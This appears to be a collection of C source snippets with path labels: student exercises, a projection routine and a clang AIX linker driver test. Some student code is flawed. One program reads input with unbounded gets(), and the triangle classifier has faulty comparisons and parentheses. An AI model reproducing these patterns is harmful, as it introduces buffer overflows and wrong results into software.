strcpy(buffer,clean); } void projection(int x, int y, int z, int *px, int *py){ int dEyeToScreen = 1; float aux = 0; aux = x*dEyeToScreen/z; *px = (int)aux + (height/2); aux = y*dEyeToScreen/z; *py = (int)aux + (width/2); }
the_stack_data/936375.c
#include<stdio.h> int main() { int score[5] = {11,22,33,44,55}; int i = 0; for(i=0;i<5;i++) { printf("score[%d]=%d\n",i,score[i]); } return 0; }
the_stack_data/262273.c
#include <stdio.h> #include <string.h> void mystrrev(char a[]) { char c; int m = strlen(a); for(int i =0; i < m/2; i++) { c = a[i]; a[i] = a[m - i - 1]; a[m - i - 1] = c; } } int main () { char a[128]; gets(a); mystrrev(a); printf("%s",a); return 0; }
the_stack_data/182952051.c
#include<stdio.h> #include<stdlib.h> #include<math.h> main() { float a,b,c; printf("\tEste programa recebe a medida dos lados de um possivel triangulo.\n"); printf("\tClassificando-os em triangulos: Retangulo, Obtusangulo, Acutangulo, e/ou Equilatero.\n"); printf("\tIndica ainda se os lados sugeridos nao formarem triangulo algum.\n"); printf("\n\nInforme a primeira medida: "); scanf("%f",&a); printf("\nInforme a segunda medida: "); scanf("%f",&b); printf("\nInforme a terceira medida: "); scanf("%f",&c); { if((a>(b+c))||(b>(a+c))||(c>(a+b))) { printf("\n\tOs lados sugeridos nao foram nenhum triangulo."); } else if((a<=(b+c))||(b<=(a+c))||(c<=(a+b))) { if((((pow(a,2))==(pow(b,2)))+(pow(c,2)))||((pow(b,2))==(pow(a,2)+(pow(c,2))))||(pow(c,2)==(pow(a,2)+(pow(b,2))))) { printf("\n\tOs lados sugeridos formam um triangulo retangulo."); } if(((pow(a,2))>((pow(b,2))+(pow(c,2))))||((pow(b,2))>((pow(a,2))+(pow(c,2))))||((pow(c,2)>((pow(a,2)+(pow(b,2))))))) { printf("\n\tOs lados sugeridos formam um triangulo obtusangulo."); } if(((pow(a,2))<((pow(b,2))+(pow(c,2))))||((pow(b,2))<(pow(a,2)+(pow(c,2))))||((pow(c,2))<((pow(a,2))+(pow(b,2))))) { printf("\n\tOs lados sugeridos formam um triangulo acutangulo"); } if(a==b==c) { printf("\n\tOs lados sugeridos formam um triangulo equilatero"); } if(((a!=b)&&(b==c))||((b!=a)&&(a==c))||((c!=a)&&(a==b))) { printf("\n\tOs lados sugeridos formam um triangulo isoceles"); } } } getch(); }
the_stack_data/37636534.c
/* Write a program to print the odd numbers and even numbers of an array separately using pointers */ #include <stdio.h> void main() { int n, *pa, i, max, min, f = 0, g = 0; printf("Enter array size: "); scanf("%d", &n); int a[n], even[n], odd[n]; pa = &a[0]; printf("Enter array elements: "); for (i = 0; i < n; i++) { scanf("%d", (pa + i)); } int j = 0, k = 0; for (i = 0; i < n; i++) { if (*(pa + i) % 2 == 0) { even[j] = *(pa + i); j++; f++; } if (*(pa + i) % 2 != 0) { odd[k] = *(pa + i); k++; g++; } } printf("\nThe even numbers are:\n\n"); for (i = 0; i < f; i++) { printf("%d\t", even[i]); } printf("\n\nThe odd numbers are:\n\n"); for (i = 0; i < g; i++) { printf("%d\t", odd[i]); } }
the_stack_data/141745.c
#include <stdio.h> #include <string.h> int main() { int i, N; scanf("%d", &N); char cursos[50]; for (i = 0; i < N; i++) { fgets(cursos,50,stdin); } printf("Ciencia da Computacao\n"); return 0; }
the_stack_data/1170990.c
#include <stdio.h> #include <string.h> struct pet_options { char *input_filename; FILE *input_file; char *output_filename; FILE *output_file; }; int parse_cmdline (int argc, char **argv, struct pet_options *opts) { int i = 0; if (argc <= 0) { fprintf(stderr, "Error: no arguments given\n"); return 1; } for (i = 0; i < argc; i++) { if (strncmp(argv[i], "-i", 2) == 0) { if (i == argc - 1) { fprintf(stderr, "Error: missing argument to -i\n"); return 1; } else { opts->input_filename = argv[i + 1]; i++; } } else if (strncmp(argv[i], "-o", 2) == 0) { if (i == argc - 1) { fprintf(stderr, "Error: missing argument to -o\n"); return 1; } else { opts->output_filename = argv[i + 1]; i++; } } else { fprintf(stderr, "Error: unrecognized argument %s\n", argv[i]); return 1; } } return 0; } int check_pet_options (struct pet_options *opts) { if (opts->input_filename == NULL) { fprintf(stderr, "Error: no input file given\n"); return 1; } return 0; } void sanitize_pet_options (struct pet_options *opts) { if (opts->output_filename == NULL) { opts->output_file = stdout; } } int load_pet_options (struct pet_options *opts) { opts->input_file = fopen(opts->input_filename, "r"); if (opts->input_file == NULL) { } return 0; } int main (int argc, char **argv) { struct pet_options opts = { NULL, NULL, NULL, NULL }; if (parse_cmdline(argc - 1, argv + 1, &opts) == 0 && check_pet_options(&opts) == 0) { sanitize_pet_options(&opts); if (load_pet_options(&opts) == 0) { } else { return 1; } } else { return 1; } return 0; }
the_stack_data/15761596.c
#include <stdio.h> #include <time.h> int main(void) { time_t mytime; struct tm * mytm; mytime = time(NULL); printf("%s\n", ctime(&mytime)); mytm = localtime(&mytime); printf("Year: %d\n", 1900 + mytm->tm_year); printf("Month: %d\n", 1 + mytm->tm_mon); printf("Day of month: %d\n", mytm->tm_mday); printf("DST: %d\n", mytm->tm_isdst); return 0; }
the_stack_data/93888632.c
// General tests that ld invocations on AIX targets are sane. Note that we use // sysroot to make these tests independent of the host system. // Check powerpc-ibm-aix7.1.0.0, 32-bit. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32 %s // CHECK-LD32-NOT: warning: // CHECK-LD32: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-NOT: "-bnso" // CHECK-LD32: "-b32" // CHECK-LD32: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-NOT: "-lc++" // CHECK-LD32: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-NOT: "-lm" // CHECK-LD32: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64 %s // CHECK-LD64-NOT: warning: // CHECK-LD64: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-NOT: "-bnso" // CHECK-LD64: "-b64" // CHECK-LD64: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-NOT: "-lc++" // CHECK-LD64: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-NOT: "-lm" // CHECK-LD64: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. Enable POSIX thread support. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -pthread \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-PTHREAD %s // CHECK-LD32-PTHREAD-NOT: warning: // CHECK-LD32-PTHREAD: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-PTHREAD: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-PTHREAD: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-PTHREAD: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-PTHREAD-NOT: "-bnso" // CHECK-LD32-PTHREAD: "-b32" // CHECK-LD32-PTHREAD: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-PTHREAD: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-PTHREAD-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-PTHREAD: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-PTHREAD-NOT: "-lc++" // CHECK-LD32-PTHREAD: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-PTHREAD: "-lpthreads" // CHECK-LD32-PTHREAD-NOT: "-lm" // CHECK-LD32-PTHREAD: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. POSIX thread alias. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -pthreads \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-PTHREAD %s // CHECK-LD64-PTHREAD-NOT: warning: // CHECK-LD64-PTHREAD: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-PTHREAD: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-PTHREAD: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-PTHREAD: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-PTHREAD-NOT: "-bnso" // CHECK-LD64-PTHREAD: "-b64" // CHECK-LD64-PTHREAD: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-PTHREAD: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-PTHREAD-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-PTHREAD: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-PTHREAD-NOT: "-lc++" // CHECK-LD64-PTHREAD: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-PTHREAD: "-lpthreads" // CHECK-LD64-PTHREAD-NOT: "-lm" // CHECK-LD64-PTHREAD: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. Enable profiling. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -p \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-PROF %s // CHECK-LD32-PROF-NOT: warning: // CHECK-LD32-PROF: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-PROF: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-PROF: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-PROF: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-PROF-NOT: "-bnso" // CHECK-LD32-PROF: "-b32" // CHECK-LD32-PROF: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-PROF: "[[SYSROOT]]/usr/lib{{/|\\\\}}mcrt0.o" // CHECK-LD32-PROF-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-PROF: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-PROF-NOT: "-lc++" // CHECK-LD32-PROF: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-PROF-NOT: "-lm" // CHECK-LD32-PROF: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. Enable g-profiling. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -pg \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-GPROF %s // CHECK-LD64-GPROF-NOT: warning: // CHECK-LD64-GPROF: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-GPROF: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-GPROF: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-GPROF: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-GPROF-NOT: "-bnso" // CHECK-LD64-GPROF: "-b64" // CHECK-LD64-GPROF: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-GPROF: "[[SYSROOT]]/usr/lib{{/|\\\\}}gcrt0_64.o" // CHECK-LD64-GPROF-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-GPROF: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-GPROF-NOT: "-lc++" // CHECK-LD64-GPROF: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-GPROF-NOT: "-lm" // CHECK-LD64-GPROF: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. Static linking. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -static \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-STATIC %s // CHECK-LD32-STATIC-NOT: warning: // CHECK-LD32-STATIC: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-STATIC: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-STATIC: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-STATIC: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-STATIC: "-bnso" // CHECK-LD32-STATIC: "-b32" // CHECK-LD32-STATIC: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-STATIC: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-STATIC-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-STATIC: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-STATIC-NOT: "-lc++" // CHECK-LD32-STATIC: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-STATIC-NOT: "-lm" // CHECK-LD32-STATIC: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. Library search path. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -L%S/Inputs/aix_ppc_tree/powerpc-ibm-aix7.1.0.0 \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-LIBP %s // CHECK-LD32-LIBP-NOT: warning: // CHECK-LD32-LIBP: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-LIBP: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-LIBP: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-LIBP: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-LIBP-NOT: "-bnso" // CHECK-LD32-LIBP: "-b32" // CHECK-LD32-LIBP: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-LIBP: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-LIBP-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-LIBP: "-L[[SYSROOT]]/powerpc-ibm-aix7.1.0.0" // CHECK-LD32-LIBP: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-LIBP-NOT: "-lc++" // CHECK-LD32-LIBP: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-LIBP-NOT: "-lm" // CHECK-LD32-LIBP: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. nostdlib. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nostdlib \ // RUN: -pthread \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-NO-STD-LIB %s // CHECK-LD32-NO-STD-LIB-NOT: warning: // CHECK-LD32-NO-STD-LIB: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-NO-STD-LIB: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-NO-STD-LIB: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-NO-STD-LIB: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-NO-STD-LIB-NOT: "-bnso" // CHECK-LD32-NO-STD-LIB: "-b32" // CHECK-LD32-NO-STD-LIB: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-NO-STD-LIB-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-NO-STD-LIB-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-NO-STD-LIB: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-NO-STD-LIB-NOT: "-lc++" // CHECK-LD32-NO-STD-LIB-NOT: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-NO-STD-LIB-NOT: "-lpthreads" // CHECK-LD32-NO-STD-LIB-NOT: "-lm" // CHECK-LD32-NO-STD-LIB-NOT: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. nodefaultlibs. // RUN: %clang -no-canonical-prefixes %s -### 2>&1 \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nodefaultlibs \ // RUN: -pthread \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-NO-DEFAULT-LIBS %s // CHECK-LD64-NO-DEFAULT-LIBS-NOT: warning: // CHECK-LD64-NO-DEFAULT-LIBS: {{.*}}clang{{(.exe)?}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-NO-DEFAULT-LIBS: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-NO-DEFAULT-LIBS: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-NO-DEFAULT-LIBS: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-NO-DEFAULT-LIBS-NOT: "-bnso" // CHECK-LD64-NO-DEFAULT-LIBS: "-b64" // CHECK-LD64-NO-DEFAULT-LIBS: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-NO-DEFAULT-LIBS: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-NO-DEFAULT-LIBS-NOT: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-NO-DEFAULT-LIBS: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-NO-DEFAULT-LIBS-NOT: "-lc++" // CHECK-LD64-NO-DEFAULT-LIBS-NOT: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-NO-DEFAULT-LIBS-NOT: "-lpthreads" // CHECK-LD64-NO-DEFAULT-LIBS-NOT: "-lm" // CHECK-LD64-NO-DEFAULT-LIBS-NOT: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. 'bcdtors' and argument order. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -Wl,-bnocdtors \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-CXX-ARG-ORDER %s // CHECK-LD32-CXX-ARG-ORDER: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-CXX-ARG-ORDER: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-CXX-ARG-ORDER: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-CXX-ARG-ORDER: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-CXX-ARG-ORDER-NOT: "-bnso" // CHECK-LD32-CXX-ARG-ORDER: "-b32" // CHECK-LD32-CXX-ARG-ORDER: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-CXX-ARG-ORDER: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-CXX-ARG-ORDER: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-CXX-ARG-ORDER: "-bcdtors:all:0:s" // CHECK-LD32-CXX-ARG-ORDER: "-bnocdtors" // CHECK-LD32-CXX-ARG-ORDER-NOT: "-bcdtors:all:0:s" // CHECK-LD32-CXX-ARG-ORDER: "-lc++" // CHECK-LD32-CXX-ARG-ORDER: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-CXX-ARG-ORDER: "-lm" // CHECK-LD32-CXX-ARG-ORDER: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. lc++ and lc order. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-CXX-ARG-LCXX %s // CHECK-LD32-CXX-ARG-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-CXX-ARG-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-CXX-ARG-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-CXX-ARG-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-CXX-ARG-LCXX: "-b32" // CHECK-LD32-CXX-ARG-LCXX: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-CXX-ARG-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-CXX-ARG-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-CXX-ARG-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-CXX-ARG-LCXX: "-lc++" // CHECK-LD32-CXX-ARG-LCXX: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-CXX-ARG-LCXX: "-lm" // CHECK-LD32-CXX-ARG-LCXX: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. lc++ and lc order. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-CXX-ARG-LCXX %s // CHECK-LD64-CXX-ARG-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-CXX-ARG-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-CXX-ARG-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-CXX-ARG-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-CXX-ARG-LCXX: "-b64" // CHECK-LD64-CXX-ARG-LCXX: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-CXX-ARG-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-CXX-ARG-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-CXX-ARG-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-CXX-ARG-LCXX: "-lc++" // CHECK-LD64-CXX-ARG-LCXX: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-CXX-ARG-LCXX: "-lm" // CHECK-LD64-CXX-ARG-LCXX: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. -nodefaultlibs. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nodefaultlibs \ // RUN: -target powerpc-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD32-NODEFLIB-LCXX %s // CHECK-LD32-NODEFLIB-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc-ibm-aix7.1.0.0" // CHECK-LD32-NODEFLIB-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD32-NODEFLIB-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD32-NODEFLIB-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD32-NODEFLIB-LCXX: "-b32" // CHECK-LD32-NODEFLIB-LCXX: "-bpT:0x10000000" "-bpD:0x20000000" // CHECK-LD32-NODEFLIB-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0.o" // CHECK-LD32-NODEFLIB-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti.o" // CHECK-LD32-NODEFLIB-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD32-NODEFLIB-LCXX-NOT: "-lc++" // CHECK-LD32-NODEFLIB-LCXX-NOT: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc.a" // CHECK-LD32-NODEFLIB-LCXX-NOT: "-lm" // CHECK-LD32-NODEFLIB-LCXX-NOT: "-lc" // Check powerpc64-ibm-aix7.1.0.0, 64-bit. -nodefaultlibs. // RUN: %clangxx -no-canonical-prefixes %s 2>&1 -### \ // RUN: -resource-dir=%S/Inputs/resource_dir \ // RUN: -nodefaultlibs \ // RUN: -target powerpc64-ibm-aix7.1.0.0 \ // RUN: --sysroot %S/Inputs/aix_ppc_tree \ // RUN: | FileCheck --check-prefix=CHECK-LD64-NODEFLIB-LCXX %s // CHECK-LD64-NODEFLIB-LCXX: {{.*}}clang{{.*}}" "-cc1" "-triple" "powerpc64-ibm-aix7.1.0.0" // CHECK-LD64-NODEFLIB-LCXX: "-resource-dir" "[[RESOURCE_DIR:[^"]+]]" // CHECK-LD64-NODEFLIB-LCXX: "-isysroot" "[[SYSROOT:[^"]+]]" // CHECK-LD64-NODEFLIB-LCXX: "{{.*}}ld{{(.exe)?}}" // CHECK-LD64-NODEFLIB-LCXX: "-b64" // CHECK-LD64-NODEFLIB-LCXX: "-bpT:0x100000000" "-bpD:0x110000000" // CHECK-LD64-NODEFLIB-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crt0_64.o" // CHECK-LD64-NODEFLIB-LCXX: "[[SYSROOT]]/usr/lib{{/|\\\\}}crti_64.o" // CHECK-LD64-NODEFLIB-LCXX: "-L[[SYSROOT]]/usr/lib" // CHECK-LD64-NODEFLIB-LCXX-NOT: "-lc++" // CHECK-LD64-NODEFLIB-LCXX-NOT: "[[RESOURCE_DIR]]{{/|\\\\}}lib{{/|\\\\}}aix{{/|\\\\}}libclang_rt.builtins-powerpc64.a" // CHECK-LD64-NODEFLIB-LCXX-NOT: "-lm" // CHECK-LD64-NODEFLIB-LCXX-NOT: "-lc" // Check powerpc-ibm-aix7.1.0.0, 32-bit. -nostdlib. // RUN: %clangxx -no-canonical-prefixes %s 